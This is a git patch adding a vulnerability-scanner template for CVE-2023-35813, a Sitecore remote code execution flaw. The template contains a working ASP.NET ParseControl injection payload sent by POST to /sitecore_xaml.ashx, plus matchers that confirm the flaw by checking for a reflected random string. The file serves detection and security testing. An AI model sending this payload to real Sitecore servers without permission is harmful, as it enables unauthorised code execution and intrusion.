From 96885dc6e8ad1907cc2f5491fa4c964b9cdf4be4 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Tue, 10 Oct 2023 23:26:29 +0530
Subject: [PATCH] =?UTF-8?q?Create=20CVE-2023-35813.yaml=20(Sitecore=20-=20?=
 =?UTF-8?q?Remote=20Code=20Execution=20=F0=9F=94=A5=20)=20(#8363)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* Create CVE-2023-35813.yaml

* Update CVE-2023-35813.yaml

* improved matcher

---------

Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
---
 http/cves/2023/CVE-2023-35813.yaml | 55 ++++++++++++++++++++++++++++++
 1 file changed, 55 insertions(+)
 create mode 100644 http/cves/2023/CVE-2023-35813.yaml

diff --git a/http/cves/2023/CVE-2023-35813.yaml b/http/cves/2023/CVE-2023-35813.yaml
new file mode 100644
index 0000000000..283d4444b9
--- /dev/null
+++ b/http/cves/2023/CVE-2023-35813.yaml
@@ -0,0 +1,55 @@
+id: CVE-2023-35813
+
+info:
+  name: Sitecore - Remote Code Execution
+  author: DhiyaneshDk,iamnoooob
+  severity: critical
+  description: |
+    Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
+  reference:
+    - https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
+    - https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-35813
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-35813
+    cwe-id: CWE-22,CWE-23
+    epss-score: 0.00201
+    epss-percentile: 0.57635
+    cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: sitecore
+    product: experience_commerce
+    shodan-query: title:"Sitecore"
+  tags: cve,cve2023,sitecore,rce
+
+variables:
+  string: "{{rand_base(6)}}"
+  payload: |
+    <%@Register
+        TagPrefix = 'x'
+        Namespace = 'System.Runtime.Remoting.Services'
+        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
+    %>
+    <x:RemotingService runat='server'
+        Context-Response-ContentType='{{string}}'
+    />
+
+http:
+  - raw:
+      - |
+        POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        __ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(content_type, '{{string}}')
+          - contains_all(body, 'commands', 'command', 'value')
+          - status_code == 200
+        condition: and
\ No newline at end of file